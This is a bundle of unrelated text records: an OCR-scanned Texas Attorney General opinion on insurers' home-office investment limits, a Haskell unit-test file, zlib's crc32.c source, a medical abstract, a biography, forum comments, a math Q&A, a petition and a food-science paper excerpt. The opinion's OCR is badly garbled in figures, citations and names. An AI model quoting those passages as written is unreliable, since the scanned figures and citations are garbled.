$lOO,OOO.OO must be non-admitted and that the company must either make\nsuch adjustment6 and partial dispositions as will bring the investment\nwithin permissible limits or dispose of the entire investment.", "\n\nOur opinion in response to your first question ia limited solely to the\nsituation where the additional investment is made as a result of an\nadditional contract for additional construction on the building and\nshould not be taken as expressing any opinion on a situation where the\namount ultimately paid out on a contract entered into prior to September\n6, 1955, exceeds the amount set out therein.", "\n\nYour second question is as follows:\n\fHon. ", "William A. Harrison, page 4 (WW-475)\n\n\n\n ,”\n Wow assume XfZ Life Insurance Company has admitted sssets\n in tha amount of $>OO,OOO. ", "Assume further that prior to\n September 6, 1955, the company contracted for the con-\n ltruction of a $300,000 home office building. ", "After September\n 6, 1955, and after the completion of the building, the com-\n pany decides that it would be advisable to air-conditionthe,\n building at a cost of $100,000.00, and contracts for this\n work to be done. ", "This makes the total investment of the\n company in the home office building $400,000, or 415 of\n the total admitted assets of the company. ", "This additional\n investment is not made from the surplus funds of the\n company. ", "We request your opinion as to whether this\n additional investment violates the provisions of Article\n 3.40, Section l(b), Texas Insurance Code? ", "If you snswer\n this question in the affirmative, should the Board (1) non-\n admit the additional investment, (2) non-admit tha total\n investment of the coinpanyin the home office building, or\n (3) require the company to dispose of the investment because\n it is contrary to law and is not authorized?\"", "\n\nThe only additional factor presented from that in your firat question\nconcerns the nature of the investment-- that is, the additional investment\nIn Question No. ", "2 is made for the purpose of air conditioning the building\nand thus its answer involves a determination of whet constitutes an\n*investment' as the word is used in Article 3.40. ", "The only description\nin the article of the investment is \"one building site and office\nbuilding\" (Section l(a), Article 3.40). ", "Since no further standards\nare given, we must sssume that the term \"building site and office buildingY\nemcompasses those improvements of, additions to, and ftitures in such an\noffice building as sre legally classified as being a portion of the real\nestate. ", "If a particular item has become or will become s part o.fthe\nreal estate is often difficult to determine.", "\n\n \"Whether an article is s fixture or not depends in some\n degree on the facts and circumstances of the particular\n CtlSi?, ", "including the relationship of the parties at issue,\n . . . . ", "Ordinsrily the courts hold that for sn article to\n become a fixture they must unite the following requisties:\n em ion to the realty or something appurtenant\n 2-e? ", " t'\n . . (", "2) Adoptability or applicstiou of the\n chattel'affixed to the use or purpose to which the realty\n is appropriated, . . . ", "and (3) the intention of the party\n making the annexation to make a permenent accession to the\n freehold, . . ..\" ", "36 C. J. S. 8%.", "\n\nThus, the status of .aparticular item of property is ordinarily a\nquestion of fact. ", "We note that there are csses on the one hand holding\nthat air conditioning equipment is not part of the real estate,\nMoskowitz v. Callowax, (Civ. ", "App.) ", "178 S W. 2d 878, error ref. ", "w. o. m.,\n\fHon. ", "William A. Harrison, page 5 (WW-475)\n\n\n\nand on the other hand, cases holding that Such equipment is a part of the\nreal estate, Nine Hundred Main, Inc. v. Houston, (Civ. ", "App.) ", "150 S. W.\n2d 468, dim., ", "judge. ", "car. ", "As stated in 43 A. L. R. 2d 1379:\n\n \"It is not possible to state any absolute rule as to the\n character of an sir-conditioning plant, equipment, apparatus,\n or the like, as s fixture, because of the many varying\n circumstances reflected in the cases. ", "All that can be said\n . . . ", "is that in some cases, under the particular circusstances\n involved, the unit has been held to be s part of the realty\n whereas in ather cases, under the particular circumstances,\n the unit has been held to remain persoualty.m\n\nEach case turns on the application of the rule stated above to the\npeculisquslities of the equipment involved and its manner of attachment\nto the ieal estate. ", "If the equipment after installation did not constitute\npart of the realty, then such additional investment as mentioned in your\nsecond question would not constitute a violation of Article 3.40,\nSection l(b). ", "If, on the other hand, it did constitute part of the real\nestate, the investment would be improper and our snawers to Question Bo.", "\n1 would apply.", "\n\nYom third question is 88 follows:\n\n 'Amuming a company makes an additional investment in its\n home office building by repair, improvement, or otherwise,\n after September 6, 1955, which maker the total investment\n in the building more than 33 l/$, and the additional in-\n vestment is not mid for from the surplus funds of the\n company, shouldthe Board permit the company to retain the\n investment, but non-admit the excess amount over the statute,\n or should the Board requiresthe company to dispose of the\n investment or increase the admitted assets by contribution\n or otherwise so that the total investment in the home office\n building will not exceed the statutory limit?\"", "\n\nSince the answer to your question would turn on the specific facts\ninvolved, we deem it inappropriate to give you a specific answer\nto this question. ", "However, you should be guided by the genera1 principles\nset out above. ", "It should also be kept in mind that Article l(b) provides\nthat a company's investment in home office property may exceed 33 11% of\nits admitted assets up to 5C$ thereof it advance approval of the Board is\nobtained.", "\n\fHon. ", "WilliamA. HarrIson,page 6 (MW-475)\n\n\n\n SW4MARY\n\n\n Where a life tiurance companyhas con-\n tracted~for.an3PIkehmnt in-inme office\n propertfe8for a'-reaoonubleam3 adeauate\n consideration prior to September6, 19.35,\n such investmentis le@ under Article\n 3.40, Section l(b), regardlessof whether\n or mot it represent8more than 33 l/3$\n of its admittedessetr. ", "Any additional\n investmentsmade In such homa office\n property after September6, 195.5,hovevcr,\n are not legalwhere the total inveatumt\n exceeds the permissiblellmitrof Section\n l(b) and where the improvsmcntrrepresent-\n ing the inveatmcntwould be consideredar\n a pert of the reel estste.", "\n\n Very truly yom8,\n\n w1LLw1ImW\n AttorneyGenerslof Texan\n\n\n\n Bs\n Pred B. Werkelithln\n Amrirtmt\n\n\n\n Bs\n R. V. Loftin,Jr.\n Arllrtant\n\n\n\n APPROVED:\n\n OPIWIaWCOmITTEE:\n\n L.P.LOIJ.AR,cEAIRb!M\n\n Waylad C. River@,Jr.", "\n Jot Hodges,Jr.\n Riley Eugene Fletoher\n J. W Wheeler\n\n REVIEWEDBOR'IgEATTORWEY@ZWER4L\n RX:\n w * v. oeppert\n\f" ]

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[ "import Data.", "Time.", "Clock (UTCTime)\nimport Test.", "Hspec (Spec, describe, it, shouldBe)\nimport Test.", "Hspec.", "Runner (configFastFail, defaultConfig, hspecWith)\n\nimport Gigasecond (fromDay)\n\nimport Data.", "Time.", "Format\n ( ParseTime\n , TimeLocale\n , defaultTimeLocale\n , iso8601DateFormat\n , parseTimeOrError\n )\n\nreadTime :: ParseTime t => TimeLocale -> String -> String -> t\nreadTime = parseTimeOrError True\n\nmain :: IO ()\nmain = hspecWith defaultConfig {configFastFail = True} specs\n\nspecs :: Spec\nspecs = describe \"fromDay\" $ do\n\n let dt = readTime defaultTimeLocale\n (iso8601DateFormat (Just \"%T%Z\")) :: String -> UTCTime\n\n it \"from apr 25 2011\" $\n fromDay (dt \"2011-04-25T00:00:00Z\")\n `shouldBe` dt \"2043-01-01T01:46:40Z\"\n\n it \"from jun 13 1977\" $\n fromDay (dt \"1977-06-13T00:00:00Z\")\n `shouldBe` dt \"2009-02-19T01:46:40Z\"\n\n it \"from jul 19 1959\" $\n fromDay (dt \"1959-07-19T00:00:00Z\")\n `shouldBe` dt \"1991-03-27T01:46:40Z\"\n" ]

{ "pile_set_name": "Github" }

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[ "Ultrasound imaging in psoriatic arthritis and ankylosing spondylitis.", "\nMusculoskeletal ultrasound (US) is a reliable imaging technique which has a key role in the assessment of patients with psoriatic arthritis (PsA) and ankylosing spondylitis (AS). ", "US can help in the diagnosis of the disorder, in the evaluation of the extent of the joint and enthesis involvement and in therapy monitoring because it can reflect both morphostructural changes and inflammatory activity. ", "Several studies have reported that US revealed pathological findings at joints and enthesis in a large number of PsA patients who do not complain of active pain and/or swelling at the time of the clinical examination and in psoriasis patients with no signs of musculoskeletal disease. ", "The application of US in the evaluation of nail and skin involvement in patients affected by psoriasis, with or without arthritis, and the imaging of sacroiliac joints is an interesting approach. ", "US has already become commonplace in both clinical and research fields, and improvements in US technology will offer further possibilities for future research." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "/* crc32.c -- compute the CRC-32 of a data stream\n * Copyright (C) 1995-2006, 2010, 2011, 2012 Mark Adler\n * For conditions of distribution and use, see copyright notice in zlib.h\n *\n * Thanks to Rodney Brown <rbrown64@csc.com.au> for his contribution of faster\n * CRC methods: exclusive-oring 32 bits of data at a time, and pre-computing\n * tables for updating the shift register in one step with three exclusive-ors\n * instead of four steps with four exclusive-ors. ", " This results in about a\n * factor of two increase in speed on a Power PC G4 (PPC7455) using gcc -O3.", "\n */\n\n/* @(#) $Id$ */\n\n/*\n Note on the use of DYNAMIC_CRC_TABLE: there is no mutex or semaphore\n protection on the static variables used to control the first-use generation\n of the crc tables. ", " Therefore, if you #define DYNAMIC_CRC_TABLE, you should\n first call get_crc_table() to initialize the tables before allowing more than\n one thread to use crc32().", "\n\n DYNAMIC_CRC_TABLE and MAKECRCH can be #defined to write out crc32.h.", "\n */\n\n#ifdef MAKECRCH\n# include <stdio.h>\n# ifndef DYNAMIC_CRC_TABLE\n# define DYNAMIC_CRC_TABLE\n# endif /* !", "DYNAMIC_CRC_TABLE */\n#endif /* MAKECRCH */\n\n#include \"zutil.h\" /* for STDC and FAR definitions */\n\n#define local static\n\n/* Definitions for doing the crc four data bytes at a time. */", "\n#if !", "defined(NOBYFOUR) && defined(Z_U4)\n# define BYFOUR\n#endif\n#ifdef BYFOUR\n local unsigned long crc32_little OF((unsigned long,\n const unsigned char FAR *, unsigned));\n local unsigned long crc32_big OF((unsigned long,\n const unsigned char FAR *, unsigned));\n# define TBLS 8\n#else\n# define TBLS 1\n#endif /* BYFOUR */\n\n/* Local functions for crc concatenation */\nlocal unsigned long gf2_matrix_times OF((unsigned long *mat,\n unsigned long vec));\nlocal void gf2_matrix_square OF((unsigned long *square, unsigned long *mat));\nlocal uLong crc32_combine_ OF((uLong crc1, uLong crc2, z_off64_t len2));\n\n\n#ifdef DYNAMIC_CRC_TABLE\n\nlocal volatile int crc_table_empty = 1;\nlocal z_crc_t FAR crc_table[TBLS][256];\nlocal void make_crc_table OF((void));\n#ifdef MAKECRCH\n local void write_table OF((FILE *, const z_crc_t FAR *));\n#endif /* MAKECRCH */\n/*\n Generate tables for a byte-wise 32-bit CRC calculation on the polynomial:\n x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.", "\n\n Polynomials over GF(2) are represented in binary, one bit per coefficient,\n with the lowest powers in the most significant bit. ", " Then adding polynomials\n is just exclusive-or, and multiplying a polynomial by x is a right shift by\n one. ", " If we call the above polynomial p, and represent a byte as the\n polynomial q, also with the lowest power in the most significant bit (so the\n byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,\n where a mod b means the remainder after dividing a by b.\n\n This calculation is done using the shift-register method of multiplying and\n taking the remainder. ", " The register is initialized to zero, and for each\n incoming bit, x^32 is added mod p to the register if the bit is a one (where\n x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by\n x (which is shifting right by one and adding x^32 mod p if the bit shifted\n out is a one). ", " We start with the highest power (least significant bit) of\n q and repeat for all eight bits of q.\n\n The first table is simply the CRC of all possible eight bit values. ", " This is\n all the information needed to generate CRCs on data a byte at a time for all\n combinations of CRC register values and incoming bytes. ", " The remaining tables\n allow for word-at-a-time CRC calculation for both big-endian and little-\n endian machines, where a word is four bytes.", "\n*/\nlocal void make_crc_table()\n{\n z_crc_t c;\n int n, k;\n z_crc_t poly; /* polynomial exclusive-or pattern */\n /* terms of polynomial defining this crc (except x^32): */\n static volatile int first = 1; /* flag to limit concurrent making */\n static const unsigned char p[] = {0,1,2,4,5,7,8,10,11,12,16,22,23,26};\n\n /* See if another task is already doing this (not thread-safe, but better\n than nothing -- significantly reduces duration of vulnerability in\n case the advice about DYNAMIC_CRC_TABLE is ignored) */\n if (first) {\n first = 0;\n\n /* make exclusive-or pattern from polynomial (0xedb88320UL) */\n poly = 0;\n for (n = 0; n < (int)(sizeof(p)/sizeof(unsigned char)); n++)\n poly |= (z_crc_t)1 << (31 - p[n]);\n\n /* generate a crc for every 8-bit value */\n for (n = 0; n < 256; n++) {\n c = (z_crc_t)n;\n for (k = 0; k < 8; k++)\n c = c & 1 ? ", "poly ^ (c >> 1) : c >> 1;\n crc_table[0][n] = c;\n }\n\n#ifdef BYFOUR\n /* generate crc for each value followed by one, two, and three zeros,\n and then the byte reversal of those as well as the first table */\n for (n = 0; n < 256; n++) {\n c = crc_table[0][n];\n crc_table[4][n] = ZSWAP32(c);\n for (k = 1; k < 4; k++) {\n c = crc_table[0][c & 0xff] ^ (c >> 8);\n crc_table[k][n] = c;\n crc_table[k + 4][n] = ZSWAP32(c);\n }\n }\n#endif /* BYFOUR */\n\n crc_table_empty = 0;\n }\n else { /* not first */\n /* wait for the other guy to finish (not efficient, but rare) */\n while (crc_table_empty)\n ;\n }\n\n#ifdef MAKECRCH\n /* write out CRC tables to crc32.h */\n {\n FILE *out;\n\n out = fopen(\"crc32.h\", \"w\");\n if (out == NULL) return;\n fprintf(out, \"/* crc32.h -- tables for rapid CRC calculation\\n\");\n fprintf(out, \" * Generated automatically by crc32.c\\n */\\n\\n\");\n fprintf(out, \"local const z_crc_t FAR \");\n fprintf(out, \"crc_table[TBLS][256] =\\n{\\n {\\n\");\n write_table(out, crc_table[0]);\n# ifdef BYFOUR\n fprintf(out, \"#ifdef BYFOUR\\n\");\n for (k = 1; k < 8; k++) {\n fprintf(out, \" },\\n {\\n\");\n write_table(out, crc_table[k]);\n }\n fprintf(out, \"#endif\\n\");\n# endif /* BYFOUR */\n fprintf(out, \" }\\n};\\n\");\n fclose(out);\n }\n#endif /* MAKECRCH */\n}\n\n#ifdef MAKECRCH\nlocal void write_table(out, table)\n FILE *out;\n const z_crc_t FAR *table;\n{\n int n;\n\n for (n = 0; n < 256; n++)\n fprintf(out, \"%s0x%08lxUL%s\", n % 5 ? \"\" : \" ", " \",\n (unsigned long)(table[n]),\n n == 255 ? \"", "\\n\" : (n % 5 == 4 ? \",", "\\n\" : \", \"));\n}\n#endif /* MAKECRCH */\n\n#else /* !", "DYNAMIC_CRC_TABLE */\n/* ========================================================================\n * Tables of CRC-32s of all single-byte values, made by make_crc_table().", "\n */\n#include \"crc32.h\"\n#endif /* DYNAMIC_CRC_TABLE */\n\n/* =========================================================================\n * This function can be used by asm versions of crc32()\n */\nconst z_crc_t FAR * ZEXPORT get_crc_table()\n{\n#ifdef DYNAMIC_CRC_TABLE\n if (crc_table_empty)\n make_crc_table();\n#endif /* DYNAMIC_CRC_TABLE */\n return (const z_crc_t FAR *)crc_table;\n}\n\n/* ========================================================================= */\n#define DO1 crc = crc_table[0][((int)crc ^ (*buf++)) & 0xff] ^ (crc >> 8)\n#define DO8 DO1; DO1; DO1; DO1; DO1; DO1; DO1; DO1\n\n/* ========================================================================= */\nunsigned long ZEXPORT crc32(crc, buf, len)\n unsigned long crc;\n const unsigned char FAR *buf;\n uInt len;\n{\n if (buf == Z_NULL) return 0UL;\n\n#ifdef DYNAMIC_CRC_TABLE\n if (crc_table_empty)\n make_crc_table();\n#endif /* DYNAMIC_CRC_TABLE */\n\n#ifdef BYFOUR\n if (sizeof(void *) == sizeof(ptrdiff_t)) {\n z_crc_t endian;\n\n endian = 1;\n if (*((unsigned char *)(&endian)))\n return crc32_little(crc, buf, len);\n else\n return crc32_big(crc, buf, len);\n }\n#endif /* BYFOUR */\n crc = crc ^ 0xffffffffUL;\n while (len >= 8) {\n DO8;\n len -= 8;\n }\n if (len) do {\n DO1;\n } while (--len);\n return crc ^ 0xffffffffUL;\n}\n\n#ifdef BYFOUR\n\n/* ========================================================================= */\n#define DOLIT4 c ^= *buf4++; \\\n c = crc_table[3][c & 0xff] ^ crc_table[2][(c >> 8) & 0xff] ^ \\\n crc_table[1][(c >> 16) & 0xff] ^ crc_table[0][c >> 24]\n#define DOLIT32 DOLIT4; DOLIT4; DOLIT4; DOLIT4; DOLIT4; DOLIT4; DOLIT4; DOLIT4\n\n/* ========================================================================= */\nlocal unsigned long crc32_little(crc, buf, len)\n unsigned long crc;\n const unsigned char FAR *buf;\n unsigned len;\n{\n register z_crc_t c;\n register const z_crc_t FAR *buf4;\n\n c = (z_crc_t)crc;\n c = ~c;\n while (len && ((ptrdiff_t)buf & 3)) {\n c = crc_table[0][(c ^ *buf++) & 0xff] ^ (c >> 8);\n len--;\n }\n\n buf4 = (const z_crc_t FAR *)(const void FAR *)buf;\n while (len >= 32) {\n DOLIT32;\n len -= 32;\n }\n while (len >= 4) {\n DOLIT4;\n len -= 4;\n }\n buf = (const unsigned char FAR *)buf4;\n\n if (len) do {\n c = crc_table[0][(c ^ *buf++) & 0xff] ^ (c >> 8);\n } while (--len);\n c = ~c;\n return (unsigned long)c;\n}\n\n/* ========================================================================= */\n#define DOBIG4 c ^= *++buf4; \\\n c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \\\n crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24]\n#define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4\n\n/* ========================================================================= */\nlocal unsigned long crc32_big(crc, buf, len)\n unsigned long crc;\n const unsigned char FAR *buf;\n unsigned len;\n{\n register z_crc_t c;\n register const z_crc_t FAR *buf4;\n\n c = ZSWAP32((z_crc_t)crc);\n c = ~c;\n while (len && ((ptrdiff_t)buf & 3)) {\n c = crc_table[4][(c >> 24) ^ *buf++] ^ (c << 8);\n len--;\n }\n\n buf4 = (const z_crc_t FAR *)(const void FAR *)buf;\n buf4--;\n while (len >= 32) {\n DOBIG32;\n len -= 32;\n }\n while (len >= 4) {\n DOBIG4;\n len -= 4;\n }\n buf4++;\n buf = (const unsigned char FAR *)buf4;\n\n if (len) do {\n c = crc_table[4][(c >> 24) ^ *buf++] ^ (c << 8);\n } while (--len);\n c = ~c;\n return (unsigned long)(ZSWAP32(c));\n}\n\n#endif /* BYFOUR */\n\n#define GF2_DIM 32 /* dimension of GF(2) vectors (length of CRC) */\n\n/* ========================================================================= */\nlocal unsigned long gf2_matrix_times(mat, vec)\n unsigned long *mat;\n unsigned long vec;\n{\n unsigned long sum;\n\n sum = 0;\n while (vec) {\n if (vec & 1)\n sum ^= *mat;\n vec >>= 1;\n mat++;\n }\n return sum;\n}\n\n/* ========================================================================= */\nlocal void gf2_matrix_square(square, mat)\n unsigned long *square;\n unsigned long *mat;\n{\n int n;\n\n for (n = 0; n < GF2_DIM; n++)\n square[n] = gf2_matrix_times(mat, mat[n]);\n}\n\n/* ========================================================================= */\nlocal uLong crc32_combine_(crc1, crc2, len2)\n uLong crc1;\n uLong crc2;\n z_off64_t len2;\n{\n int n;\n unsigned long row;\n unsigned long even[GF2_DIM]; /* even-power-of-two zeros operator */\n unsigned long odd[GF2_DIM]; /* odd-power-of-two zeros operator */\n\n /* degenerate case (also disallow negative lengths) */\n if (len2 <= 0)\n return crc1;\n\n /* put operator for one zero bit in odd */\n odd[0] = 0xedb88320UL; /* CRC-32 polynomial */\n row = 1;\n for (n = 1; n < GF2_DIM; n++) {\n odd[n] = row;\n row <<= 1;\n }\n\n /* put operator for two zero bits in even */\n gf2_matrix_square(even, odd);\n\n /* put operator for four zero bits in odd */\n gf2_matrix_square(odd, even);\n\n /* apply len2 zeros to crc1 (first square will put the operator for one\n zero byte, eight zero bits, in even) */\n do {\n /* apply zeros operator for this bit of len2 */\n gf2_matrix_square(even, odd);\n if (len2 & 1)\n crc1 = gf2_matrix_times(even, crc1);\n len2 >>= 1;\n\n /* if no more bits set, then done */\n if (len2 == 0)\n break;\n\n /* another iteration of the loop with odd and even swapped */\n gf2_matrix_square(odd, even);\n if (len2 & 1)\n crc1 = gf2_matrix_times(odd, crc1);\n len2 >>= 1;\n\n /* if no more bits set, then done */\n } while (len2 !", "= 0);\n\n /* return combined crc */\n crc1 ^= crc2;\n return crc1;\n}\n\n/* ========================================================================= */\nuLong ZEXPORT crc32_combine(crc1, crc2, len2)\n uLong crc1;\n uLong crc2;\n z_off_t len2;\n{\n return crc32_combine_(crc1, crc2, len2);\n}\n\nuLong ZEXPORT crc32_combine64(crc1, crc2, len2)\n uLong crc1;\n uLong crc2;\n z_off64_t len2;\n{\n return crc32_combine_(crc1, crc2, len2);\n}\n" ]

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[ "Lady Katie Percy\n\nLady Catherine Sarah Percy (formerly Valentine, born 23 June 1982) is an English gunsmith and mechanic. ", "She served as the chief mechanic for Marquass Motorcycles before starting her own firearm manufacturing business.", "\n\nEarly life \nLady Katie Percy was born on 23 June 1982. ", "She is the daughter of Ralph Percy, 12th Duke of Northumberland and Jane Percy, Duchess of Northumberland and grew up at Alnwick Castle. ", "She is the older sister of George Percy, Earl Percy, Lady Melissa Percy, and Lord Max Percy.", "\n\nCareer \nPercy started working as a mechanic on vintage cars and bikes in the early 2000s, enrolling in a three-year mechanic course for certification. ", "She was chief mechanic for Marquass Motorcycles, appointed by company founder Ben Whately. ", "After working as a mechanic she trained with James Purdey & Sons, the royal gunmakers, and set up her own business making stocks for sporting guns.", "\n\nPersonal life \nOn 26 February 2011 Percy married Patrick Valentine at St Michael's Church, Alnwick. ", "Pippa Middleton was a guest at the wedding. ", "A man named Michael McNamara sent letters to Percy prior to her wedding, allegedly threatening to crash the ceremony. ", "The situation was dealt with by police. ", "In 2014 Percy and Valentine divorced.", "\n\nIn 2015 Percy began a relationship with businessman Mark Carnegie.", "\n\nReferences \n\nCategory:Living people\nCategory:1982 births\nCategory:British women in business\nCategory:Daughters of English dukes\nCategory:English socialites\nCategory:Mechanics (trade)\nCategory:Gunsmiths\nCategory:Firearm manufacturers of the United Kingdom\nKatie\nCategory:People from Alnwick" ]

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[ "Like this:\n\nRelated\n\n3 thoughts on “What’s in the garage?”", "\n\nGreat photo of the garage that has been converted into “Who knows what?” ", "Meth Lab, mother in law sweet, more storage for crap that people collect? ", "Be prepared for anything. ", "Another danger to be aware of is what is in the attic above the garage. ", "The amount of weight of all the “stuff” that the average home has stored above the garage plus the weight of the average garage door that is hanging above your head, is more than enough to create a collapse scenario especially when you factor in any flame impingement on support members. ", "This area is likely to collapse much sooner than any other part of residential structure.", "\nPlease see Google video of : George Carlin’s “Stuff”; you’ll understand\n\nThis garage had two sets of bunkbeds and was sleeping four kids with a heavy fire load. ", "This was a working fire on the b/c corner with smoke thru-out. ", "The garage was a pretty good size room to search. ", "When faced with this on-arrival consider the back door for this area of the house. ", "Escambia has alot of converted garages. ", "As, the LT. ", "said, large load in attic that usually remains after conversion." ]

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[ "Q:\n\nProbability of k random integers being coprimes\n\nIn this section of the Wikipedia article on coprime integers, it is stated that:\n\nMore generally, the probability of $k$ randomly chosen integers being coprime is $1/\\zeta(k)$.\n\nwhere $\\zeta$ is the Riemann zeta function.", "\nAlthough there is no proof of this, the statement follows a fleshed out explanation about the probability of two random integers being coprime. ", "Briefly, it proceeds as follows:\n\nThe probability of any integer being divisible by some other integer $p$ is $1/p$ (because every $p^\\mathrm{th}$ integer is).", "\nThe probability that two random integers (chosen independently) are both divisible by $p$ is $1/p^2$.\nFor a given integer, being divisible by primes $p$ or $q$ are two independent events, and hence the probability of both being true is $1/pq$.\nTherefore the probability that two random integers are coprimes (i.e. that they are not both divisible by any prime) is:\n\n$$\n\\prod_{\\text{prime } p} 1 - \\frac{1}{p^2} \n= \\left( \\prod_{\\text{prime } p} \\frac{1}{1 - p^{-2}} \\right)^{-1}\n= \\frac{1}{\\zeta(2)} \\approx 0.61\n$$\nAnd it seems straightforward to apply the same reasoning for $k$ integers:\n\nThe probability of $k$ random integers chosen independently being divisible by $p$ is $1/p^k$.\nHence the probability that they are all coprimes is obtained when they are not all divisible by any prime:\n\n$$\n\\prod_{\\text{prime } p} 1 - \\frac{1}{p^k} \n= \\frac{1}{\\zeta(k)}\n$$\nMy problem with this is one of intuition; intuitively, considering several integers should increase the chances of two of them having a common prime factor, and therefore the probability of $k$ random integers being coprime should asymptotically decrease with $k$. However I think $1/\\zeta$ is increasing on $[1, \\infty)$, and quickly converges to 1. ", "Where am I going wrong? ", "And what is the right way to think about this?", "\n\nA:\n\nWith $N = 3$, the definition of three integers being coprime is that the highest common factor of the three integers is $1$. In other words, for any prime $p$, at least one of my three integers is not divisible by $p$. Thus, as $N$ increases, it becomes easier for coprimality to be satisfied.", "\nI think you are thinking about the integers being pairwise coprime (i.e. each pair of integers is a coprime pair). ", "This is a different notion from the one discussed in the article, and, as you point out, pairwise coprimality becomes harder to satisfy as $N$ increases.", "\n\n" ]

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[ "Shortly after 10:30am on Monday, June 25th 2018, my wife was walking our 2-year-old son to Willets Point Playground behind P.S. 209 in Whitestone, Queens. ", "She came across the scene of a pedestrian struck by a vehicle traveling south on Utopia Parkway. ", "The young woman was lying unresponsive in the crosswalk and a police officer was attempting to resuscitate her before paramedics had arrived. ", "She did not survive.", "\n\nI later found out that this young woman was a 17-year-old girl named Maddie. ", "Her friends, classmates, and family members created a memorial for her outside of P.S. 209 with candles, flowers, and cards (see photo).", "\n\n17-year-old Maddie was struck by an 88-year-old driver who drove through a steady red light.", "\n\nMaddie’s death could have been prevented. ", "Unlike many other states, New York State currently does not have specific provisions for older drivers. ", "A person’s driver’s license only needs to be renewed every 8 years with no retesting for older individuals other than passing a vision exam.", "\n\nSimply passing a vision exam is an extremely low standard for a person to maintain their privilege to drive. ", "A person’s memory (i.e. individuals suffering from dementia) and reaction time must also be assessed during the license renewal process. ", "Individuals over 80 must be able to demonstrate that they can continue to remain safe on the road.", "\n\nAs the Baby Boomer generation enters their 70s and 80s, we may see an increase in motor vehicle accidents. ", "Please sign this petition if you support mandatory retesting every two years for all drivers age 80 and over.", "\n\nLet’s keep our communities and roads safe and prevent future tragedies from happening." ]

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[ "Faux Roads is 3 themed encounters relating to the Sins of Wrath, Greed and Lust. ", "The Gaining Ground 2016 schemes will be used for this event, as well as Gaining Ground 2016 strategies and strategies from the Malifaux 2nd edition rule book." ]

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[ "1. ", "Introduction {#sec1-foods-09-00711}\n===============\n\nCereal grains, such as wheat, rice, and maize, are the most popular food crops in the world, and they play such an integral part in global agriculture and diet, bringing high energy content, with valuable protein, fat, and minerals. ", "In particular, the main nutritional role of cereals is due to the high starch content which is the reserve polysaccharide, a slow release source of energy (that can be gradually used over time). ", "When taken in the unrefined, i.e., integral, form, cereals can also be a fiber source \\[[@B1-foods-09-00711]\\]. ", "Thus, there is a growing need to improve the preservation of large amounts of cereals supplies for human feeding, avoiding quality collapses not only in the stages of production of raw materials, but also, and especially, in the subsequent steps of handling, processing, and storage of food \\[[@B2-foods-09-00711]\\]. ", "Improper handling, inefficient processing facilities, biodegradation due to microorganisms, and insects are the most common causes of cereals losses \\[[@B3-foods-09-00711]\\]. ", "Storage losses can reach 50--60% due only to the technical inefficiency \\[[@B4-foods-09-00711]\\]. ", "The storage losses are affected by two classes of factors: biotic factors (insect, pest, rodents, and fungi) and abiotic factors (temperature, humidity, and rain) \\[[@B5-foods-09-00711]\\]. ", "In particular, among all the biotic factors, insect pests are considered the most important cause of huge losses in cereals, reducing the nutritional value with consequent risk for the operators and the consumers. ", "Conventional techniques for disinfection and sanitization of cereals are based on chemical methods, i.e., fumigation with toxic gases, such as methyl bromide or phosphine from aluminium phosphide or calcium phosphide \\[[@B6-foods-09-00711]\\]. ", "However, they suffer from several limitations: high costs, development of genetic resistance in the treated pests, health hazards due to toxic residues, and environmental contamination \\[[@B7-foods-09-00711]\\]. ", "Heat treatments are common alternatives to chemical disinfestations treatments \\[[@B8-foods-09-00711]\\]; however, heat conduction and convection-based methods are limited by the relatively low thermal conductivity of foods, requiring prolonged heat exposure, therefore causing quality losses \\[[@B9-foods-09-00711]\\]. ", "On the contrary, dielectric heating is one of the most interesting techniques of disinfestation over the last 50 years \\[[@B10-foods-09-00711]\\] for its several advantages, i.e., fast heat transfer; volumetric, selective, and uniform heating; and reduced process time, costs, and sanitization times \\[[@B11-foods-09-00711],[@B12-foods-09-00711],[@B13-foods-09-00711]\\]. ", "In effect, in microwave-assisted disinfestation, exploiting the thermal effects of microwaves related to the interaction of electromagnetic fields with polar molecules, it is possible to rapidly raise the temperature of the infesting biological forms above their \"lethal temperature\" for their larger amount of water content respect to the dry materials (such as cereals at post-harvest conditions), which therefore are unaffected or slightly heated by microwaves \\[[@B14-foods-09-00711],[@B15-foods-09-00711],[@B16-foods-09-00711]\\]. ", "For example, in recent literature, Jian and coworkers studied the difference between continuous and intermittent microwave treatment methods on wheat kernels, discovering that there was not incidence on insects mortality, set at \\~75% \\[[@B17-foods-09-00711]\\]. ", "Infested wheat grain and flour were successfully treated for disinfestation with microwave, gamma radiation, or both: the matrices showed no detectable changes in the quality of protein, fat, fiber, carbohydrates, or ash, only the germination of wheat grain was lowered after microwave treatment \\[[@B2-foods-09-00711]\\], as previously found by Vadivambal and coworkers, which also showed that milling and baking properties were kept unchanged after microwave treatment \\[[@B18-foods-09-00711]\\]. ", "Moreover, microwave treatment at mild conditions (both low times and temperature) was proved to be able to extend the storage time of wheat flour \\[[@B19-foods-09-00711]\\]. ", "In general, most of the literature works aim to demonstrate the possibility to kill insects by changing power-time conditions of microwave treatment \\[[@B20-foods-09-00711]\\]; less is found about the analysis of cereals structural properties and especially heat transport features.", "\n\nTherefore, the aim of this work was to investigate the thermophysical and structural properties of selected cereal matrices after microwave treatments and demonstrate the importance of correctly performing the microwave process to keep intact the microbiological safety and the thermophysical properties of the irradiated cereals. ", "The aforementioned cereal properties were checked after they were exposed to two microwave radiative protocols, as already performed in studies on legumes \\[[@B16-foods-09-00711]\\]. ", "A multimodal cavity operating at a frequency of 2.45 GHz and a power of 1000 W have been used and two treatments were applied: one, defined \"effective\", by setting the time necessary to reach a temperature higher than the lethal one, for the typical infestants in cereals, in the solid mass, and a second one, defined \"uncontrolled\" with a longer time of exposition to microwaves as example of not suitable thermal treatment.", "\n\n2. ", "Materials and Methods {#sec2-foods-09-00711}\n========================\n\n2.1. ", "Grain Samples {#sec2dot1-foods-09-00711}\n------------------\n\nThree types of cereals seeds were selected, i.e., durum wheat (*Triticum durum* v. Creso), weak wheat (*Triticum aestivum* v. Bologna), and corn (*Zea mays* L. (NK Famoso) Cl/FAO 500--127gg). ", "The matrices, generously supplied by the farm Improsta, Eboli (SA), Italy, were stored at 